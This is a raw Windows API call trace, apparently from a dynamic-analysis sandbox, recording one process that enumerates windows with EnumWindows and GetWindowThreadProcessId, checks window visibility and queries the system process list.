[0285.886] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0285.886] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0285.886] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0285.886] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0285.886] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0285.887] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0285.887] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0285.887] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0285.887] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0285.887] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0285.887] GetWindowThreadProcessId (in: hWnd=0x10338, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0285.887] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0285.888] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0285.928] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0286.353] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11a18) returned 0x0
[0286.362] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11a18) returned 0x0
[0286.365] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11a18) returned 0x0
[0286.368] EnumWindows (lpEnumFunc=0x1b1a2afc, lParam=0x0) returned 1
[0286.368] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0286.368] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.368] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.368] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.368] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.368] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0286.369] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.369] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0286.369] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0286.369] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.369] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.369] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.369] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.369] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.370] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.370] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.370] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.370] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0286.370] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.370] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.370] GetWindowThreadProcessId (in: hWnd=0x3031a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0286.370] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0286.371] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0286.371] GetWindowThreadProcessId (in: hWnd=0x300a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0286.371] GetWindow (hWnd=0x300a8, uCmd=0x4) returned 0x102e0
[0286.371] GetWindowThreadProcessId (in: hWnd=0x10320, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0286.371] GetWindow (hWnd=0x10320, uCmd=0x4) returned 0x0
[0286.371] IsWindowVisible (hWnd=0x10320) returned 0
[0286.371] GetWindowThreadProcessId (in: hWnd=0x1031c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0286.371] GetWindow (hWnd=0x1031c, uCmd=0x4) returned 0x0
[0286.371] IsWindowVisible (hWnd=0x1031c) returned 0
[0286.371] GetWindowThreadProcessId (in: hWnd=0x10312, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0286.371] GetWindow (hWnd=0x10312, uCmd=0x4) returned 0x102e0
[0286.371] GetWindowThreadProcessId (in: hWnd=0x10310, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0286.371] GetWindow (hWnd=0x10310, uCmd=0x4) returned 0x102e0
[0286.372] GetWindowThreadProcessId (in: hWnd=0x1030a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0286.372] GetWindow (hWnd=0x1030a, uCmd=0x4) returned 0x102e0
[0286.372] GetWindowThreadProcessId (in: hWnd=0x10300, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0286.372] GetWindow (hWnd=0x10300, uCmd=0x4) returned 0x102e0
[0286.372] GetWindowThreadProcessId (in: hWnd=0x102fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0286.372] GetWindow (hWnd=0x102fe, uCmd=0x4) returned 0x102e0
[0286.372] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf8c
[0286.372] GetWindowThreadProcessId (in: hWnd=0x102ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4e4
[0286.372] GetWindowThreadProcessId (in: hWnd=0x102e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0286.372] GetWindow (hWnd=0x102e0, uCmd=0x4) returned 0x0
[0286.372] IsWindowVisible (hWnd=0x102e0) returned 0
[0286.372] GetWindowThreadProcessId (in: hWnd=0x102e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0286.373] GetWindow (hWnd=0x102e6, uCmd=0x4) returned 0x0
[0286.373] IsWindowVisible (hWnd=0x102e6) returned 0
[0286.373] GetWindowThreadProcessId (in: hWnd=0x102e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0286.373] GetWindow (hWnd=0x102e2, uCmd=0x4) returned 0x0
[0286.373] IsWindowVisible (hWnd=0x102e2) returned 0
[0286.373] GetWindowThreadProcessId (in: hWnd=0x102de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0286.373] GetWindow (hWnd=0x102de, uCmd=0x4) returned 0x0
[0286.373] IsWindowVisible (hWnd=0x102de) returned 0
[0286.373] GetWindowThreadProcessId (in: hWnd=0x102dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0286.373] GetWindow (hWnd=0x102dc, uCmd=0x4) returned 0x0
[0286.373] IsWindowVisible (hWnd=0x102dc) returned 0
[0286.373] GetWindowThreadProcessId (in: hWnd=0x302d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0286.373] GetWindowThreadProcessId (in: hWnd=0x50116, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0286.373] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0286.374] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.374] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.374] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.374] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.374] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.374] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.374] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.374] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.375] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0286.375] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0286.375] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0286.375] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0286.375] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0286.375] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0286.375] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0286.375] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0286.376] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0286.376] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0286.376] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0286.376] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0286.376] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0286.376] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0286.376] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0286.376] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0286.376] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0286.377] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0286.377] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0286.377] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0286.377] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0286.377] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0286.377] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0286.377] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0286.377] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0286.378] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0286.472] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0286.472] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0286.472] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0286.472] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0286.472] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0286.473] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0286.473] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0286.473] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0286.473] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0286.473] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0286.473] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0286.473] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0286.473] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0286.473] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0286.473] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0286.474] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0286.474] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0286.474] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0286.474] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0286.474] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0286.474] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0286.474] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0286.474] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0286.474] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0286.474] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0286.475] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0286.475] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0286.475] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0286.475] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0286.475] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0286.475] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0286.475] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0286.475] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0286.475] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0286.475] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0286.476] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0286.476] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0286.476] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0286.476] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0286.476] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0286.476] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0286.476] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0286.476] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0286.476] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0286.476] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0286.477] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x578
[0286.477] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0286.477] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x530
[0286.477] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.477] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x508
[0286.477] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.477] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0286.477] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.477] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.477] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0286.478] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.478] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.478] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0286.478] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0286.478] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x448
[0286.478] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0286.478] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0286.478] GetWindowThreadProcessId (in: hWnd=0x10268, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0286.478] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0286.478] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0286.479] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.479] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0286.479] GetWindowThreadProcessId (in: hWnd=0x10332, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0286.479] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0286.479] GetWindowThreadProcessId (in: hWnd=0x1033c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0286.479] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0286.479] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf9c
[0286.479] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x808
[0286.479] GetWindowThreadProcessId (in: hWnd=0x102e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0286.479] GetWindow (hWnd=0x102e4, uCmd=0x4) returned 0x102e2
[0286.480] GetWindowThreadProcessId (in: hWnd=0x150270, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0286.480] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0286.480] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0286.480] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0286.480] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
